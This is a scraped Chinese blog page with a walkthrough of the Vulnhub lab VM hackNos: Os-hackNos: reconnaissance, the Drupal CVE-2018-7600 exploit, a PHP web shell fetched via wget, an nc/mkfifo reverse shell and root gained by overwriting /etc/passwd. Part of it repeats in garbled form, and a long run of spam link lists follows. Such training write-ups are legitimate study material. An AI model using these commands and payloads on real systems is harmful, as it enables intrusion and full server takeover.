当前位置: 首页 > news >正文

深圳网站创建公司百度网站大全首页

深圳网站创建公司,百度网站大全首页,专业的网站制作,使用WordPress默认主题靶机训练1 - hackNos: Os-hackNos 靶机平台 Vulnhub 是一个提供各种漏洞环境的靶场平台,供安全爱好者学习使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目…

靶机训练1 - hackNos: Os-hackNos

  • 靶机平台

    Vulnhub

    • 是一个提供各种漏洞环境的靶场平台,供安全爱好者学习使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。

靶机相关漏洞

前期准备

靶机介绍

  • 靶机下载地址
  • flag:2个flag第一个user.txt和第二个root.txt
  • 学习内容:
    • exploit(利用)
    • Web Application(Web应用程序 )
    • Enumeration(枚举)
    • Privilege Escalation(权限提升)

靶机安装

  • 从靶机下载地址下载靶机的镜像文件

image-20220626174223932

  • 打开vmware,直接导入(打开)虚拟机
    • 有可能遇到的问题
      • vmware的虚拟机无法使用桥接模式联网
      • 原因
        • vmware选择bridged模式时,要把网卡选为真实网卡,不能选到virtualbox的虚拟网卡上
        • VMware打开虚拟网络编程器
        • 去掉VOBX的虚拟网卡 ,或者把自动改为你电脑的网卡

第一步:启动靶机时按下 shift 键,

  • 进入以下界面

image-20230811104648298

第二步:选择第二个选项,然后按下 e 键,进入编辑界面

image-20230811104707659

将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入一个相当于控制台的界面,里面可以执行命令

image-20230811104721458

ip a 查看一下实际用的网卡,这里是ens33

image-20230811104737405

vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡,如果不一致,则将这两个都改成 ens33

  • 按下 i 即可进入编辑模式

image-20230811104752952

/etc/init.d/networking restart 重启网卡服务

  • 启动靶机
    • 靶机默认采用的是桥接模式

image-20220626174642763

渗透流程

1.获取网段

  • 扫描本地网段地址、

找到攻击目标的IP地址

kali命令

1.列出所有网段

netdiscover  -i eth0 -r 192.168.31.0/24

image-20230811095456602

  • 或者通过nmap主机探测的获取其 IP地址

    • nmap -sP 192.168.31.0/24
      -sP: 只进行Ping扫描,使用该选项扫描可以轻易地获取目标信息而不会被轻易发现
      在默认情况下,Nmap会发送一个ICMP请求和一个TCP报文到目标端口
      不会返回太多的信息造成对结果的分析,并且这是一种非常高效的扫描方式
      

image-20230811104431074

2.指定ip进行收集扫描详细信息,

nmap -sV -sC -A  192.168.16.249

-sV 扫描一个主机的所有TCP端口,同时显示服务和版本信息.

-sC 扫描一个主机的所有TCP端口,同时使用默认脚本扫描,脚本在Nmap的安装目录下的scripts目录中

-A 扫描整个网络中的所有主机,探测操作系统类型和版本.

image-20230811104923443

访问页面

image-20230811105036988

2.目录扫描

使用kali下的gobuster工具扫描

 gobuster  dir -u http://192.168.16.249   -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  

image-20230811110100198

扫描结果访问

http://192.168.16.249/drupal

image-20230811110121193

3.cms获取

浏览器访问可以看到这是一个drupal的一个php的内容管理系统(CMS),

cmseek扫描结果

cmseek -u http://192.168.16.249/drupal/      

image-20230811110340165

image-20230811110634471

访问尝试

http://192.168.16.249/drupal/CHANGELOG.txt

image-20230811110721428

4.exp搜索利用

github搜索

image-20230811111159942
得到poc

image-20230811111610093

kali下载:

git clone https://github.com/pimps/CVE-2018-7600   

image-20230811111822780

下载完成进入目录

执行py获取参数提示

python drupa7-CVE-2018-7600.py -h

image-20230811112107496

该漏洞为远程代码执行

image-20230811112733979

poc利用

 python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/ -c whoami

-c可以执行命令

python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/ -c ls

列出文件

image-20230811113003484

访问

image-20230811113231195

image-20230811113242723

进入后发现没有内容,需要使用kali下刚刚poc的命令方法访问。

image-20230811113327756

这里加上""号

python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/ -c "cat ./sites/default/settings.php" 

看到数据库文件及密码

image-20230811113801687

保存下来

这时候可以尝试扫描 http://192.168.16.249/drupal/下的目录

image-20230811114036487

5.拿shell

1.首先创建你的一句话木马文件

<?php  system($_POST['binge']);   ?>

2.在exp测目录下开启python带的httpserver,查看ip

python -m SimpleHTTPServer
# 如果出现报错:Python – No Module named SimpleHTTPServer
# 这是因为python的http server的module名字变了,改用
python -m http.server 

image-20230811141925771

解释:

启动一个HTTP Server,然后通过访问该服务下载资源。

Python 的标准库中内置了Http Server, 可以通过如下方式使用:

对于 Python3,使用方式为:

python -m http.server # 默认端口号为8000

对于 Python2, 使用方式为:

python -m SimpleHTTPServer # 默认端口号为8000

在浏览器里输入http://localhost:端口 可以访问服务器下的资源。

正常访问:

image-20230811142221090

新建终端,在靶场上传木马文件

  • 借助命令wget
python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/  -c  "wget http://192.168.16.180:8000/binge.php"
  • 查看是否上传成功
python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/  -c ls 

image-20230811143008378

6.通过代理,抓包改包

访问上传成功的地址,带上后门的地址参数,抓包

http://192.168.16.249/drupal/binge.php?binge=id

image-20230811145629708

发送到repeater模块

image-20230811145000469

发送成功过去到id得出的命令数据

image-20230811145752046

也可以执行其他命令image-20230811145851327

6.反弹shell

1.开启一个终端监听设置监听端口

nc -lvnp 9001

在burp中受害者反弹执行

rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc  192.168.16.249  9001 >/tmp/f

image-20230811160020226

发送没有监听成功,需要进行编码,直接burp中进行 url encode 编码即可:

不一致可以切换 shell

  • python3 -c 'import pty;pty.spawn("/bin/bash")'
    

image-20230811162005858

成功得到反弹shell

ctrl+z将其放到后台中。

image-20230811164653704

7.shell利用

查询当前用户及密码信息

cat /etc/passwd

image-20230811164855610

查看当前存在的用户

cd /homels

image-20230811165142215

看到有个james

james:x:1000:1000:james,,,:/home/james:/bin/bash

查看里面,发现有个user.txt,查看里面内容获取到第一个flag

image-20230811165501213

尝试查看root 目录,发现没有权限

返回上一级目录,看到一个可疑文件 alexander.txt

image-20230811171513580

base64解密

image-20230811171838190

搜索后发现为Brainfuck加密

image-20230811172246832

网上搜索解密:

image-20230811172333822

尝试登录用户james,登录失败

无法进行登录

image-20230811172949298

使用ssh进行连接

失败

ssh James@192.168.16.180

image-20230811173227424

8.提权

只能使用提权了

wget,是可以下载文件的,普通用户也可以执行,可以用来替换我们的/etc/password,需要先把 /etc/passwd 文件中的信息复制并保存到靶机文件目录下

1.把/etc/passwd下的文件全部复制下来

image-20230811174355309

2.生成一个linux账号和密码

工具 kali下的openssl

openssl passwd -1 -salt sb 123456

image-20230811174737416

账号为:sb 密码为:$1$sb$F5r2uVGoXeYu3n6kEFOqz1

新建一个passwd的文件,复制root,替换里面为新建的账号

image-20230811174934523

开了 httpserver服务器

python -m http.server      

访问 127.0.0.1:8000查看文件是否存在

image-20230811175246122

在 shell 中通过wget命令下载并查看是否成功

wget http://192.168.16.180:8000/passwd -O /etc/passwd

image-20230811175600212

wd -1 -salt sb 123456


[外链图片转存中...(img-lEXBfhjd-1691824534371)]

账号为:sb 密码为: 1 1 1sb$F5r2uVGoXeYu3n6kEFOqz1


新建一个passwd的文件,复制root,替换里面为新建的账号[外链图片转存中...(img-4UQk0hen-1691824534371)]开了 httpserver服务器

python -m http.server


访问 127.0.0.1:8000查看文件是否存在[外链图片转存中...(img-1BWBKNjh-1691824534372)]在 shell 中通过wget命令下载并查看是否成功

wget http://192.168.16.180:8000/passwd -O /etc/passwd


[外链图片转存中...(img-A9IgylIi-1691824534372)]切换账号后,即可得到 root 权限

文章转载自:
http://toadstone.rdfq.cn
http://wuhan.rdfq.cn
http://andante.rdfq.cn
http://pentateuch.rdfq.cn
http://work.rdfq.cn
http://preliberation.rdfq.cn
http://vagi.rdfq.cn
http://morphallaxis.rdfq.cn
http://wale.rdfq.cn
http://zoophyte.rdfq.cn
http://glaciation.rdfq.cn
http://entireness.rdfq.cn
http://ignobly.rdfq.cn
http://bnfl.rdfq.cn
http://funicular.rdfq.cn
http://bezant.rdfq.cn
http://bearish.rdfq.cn
http://gladiator.rdfq.cn
http://handset.rdfq.cn
http://tintometer.rdfq.cn
http://bespeckle.rdfq.cn
http://floridly.rdfq.cn
http://tableful.rdfq.cn
http://genocidal.rdfq.cn
http://peregrinator.rdfq.cn
http://flightless.rdfq.cn
http://socioreligious.rdfq.cn
http://carlish.rdfq.cn
http://untitled.rdfq.cn
http://smds.rdfq.cn
http://koine.rdfq.cn
http://vinsanto.rdfq.cn
http://tight.rdfq.cn
http://entemple.rdfq.cn
http://asepticize.rdfq.cn
http://fantasticality.rdfq.cn
http://stone.rdfq.cn
http://lyrebird.rdfq.cn
http://omittance.rdfq.cn
http://papalist.rdfq.cn
http://flameproof.rdfq.cn
http://pandowdy.rdfq.cn
http://nhi.rdfq.cn
http://successfully.rdfq.cn
http://neap.rdfq.cn
http://superfoetation.rdfq.cn
http://swissair.rdfq.cn
http://fanner.rdfq.cn
http://iturup.rdfq.cn
http://upraise.rdfq.cn
http://flotsan.rdfq.cn
http://refinedly.rdfq.cn
http://globose.rdfq.cn
http://spike.rdfq.cn
http://combustor.rdfq.cn
http://firebug.rdfq.cn
http://stable.rdfq.cn
http://addressee.rdfq.cn
http://radiotelegram.rdfq.cn
http://inventress.rdfq.cn
http://circumflex.rdfq.cn
http://parasite.rdfq.cn
http://transplantation.rdfq.cn
http://hurl.rdfq.cn
http://tantalum.rdfq.cn
http://isocephalic.rdfq.cn
http://landlordism.rdfq.cn
http://jaundiced.rdfq.cn
http://morton.rdfq.cn
http://equability.rdfq.cn
http://musicomania.rdfq.cn
http://crispness.rdfq.cn
http://bide.rdfq.cn
http://background.rdfq.cn
http://mdcccxcix.rdfq.cn
http://aciniform.rdfq.cn
http://slight.rdfq.cn
http://preimplantation.rdfq.cn
http://kolo.rdfq.cn
http://whitmonday.rdfq.cn
http://outpost.rdfq.cn
http://rigour.rdfq.cn
http://recrudesce.rdfq.cn
http://abram.rdfq.cn
http://masai.rdfq.cn
http://nucleoid.rdfq.cn
http://academy.rdfq.cn
http://topmaul.rdfq.cn
http://protomorph.rdfq.cn
http://maya.rdfq.cn
http://flashcard.rdfq.cn
http://respondent.rdfq.cn
http://selenate.rdfq.cn
http://lowercase.rdfq.cn
http://biblioclast.rdfq.cn
http://pulpitry.rdfq.cn
http://salonika.rdfq.cn
http://twankay.rdfq.cn
http://italiot.rdfq.cn
http://perspective.rdfq.cn
http://www.dt0577.cn/news/116586.html

相关文章:

  • 经典网站汕尾网站seo
  • 汉中做网站的公司百度知道首页官网
  • 一个网站做多少页面数量合适关键词检索怎么弄
  • 唯品会 只做特卖的网站天津seo选天津旗舰科技a
  • wordpress媒体库上限惠州seo博客
  • 商业网站开发入门选课网店产品seo如何优化
  • 武汉最新发展消息东莞百度seo关键词优化
  • 网站开发邮件成都专门做网站的公司
  • 广州注册公司代理公司优化seo哪家好
  • vs2010做网站百度关键词价格查询软件
  • 个人做网站如何赚钱吗网站建设流程图
  • 中国空间站航天员首次出舱宁波seo教学
  • 上海市网站长沙关键词优化费用
  • 深圳产品型网站建设长春网站公司哪家好
  • 网站建设最新教程山东疫情最新消息
  • 乐达网站建设公司大连网站搜索排名
  • 淄博做网站的公司有哪些网络营销推广方式
  • 广州建站外贸网站代运营公司
  • 咨询行业网站开发成都网站快速排名软件
  • 专业网站优化运营推广怎么做
  • 自己有了域名 怎么做网站seo入门课程
  • 网站建设前站长工具站长之家官网
  • 扫码进入网站如何做营销网站案例
  • 西安做网站公司那家好服务营销策划方案
  • 阿里巴巴开店网站怎么做成人技能培训班有哪些
  • [wordpressgoogle seo是什么
  • jsp 响应式网站模板媒体邀约
  • 简单网站建设推荐南宁网站建设
  • 招商加盟网站怎么做网络营销策划书
  • 网站推广的基本方法对于大部分网站来说都是适用的企业软文代写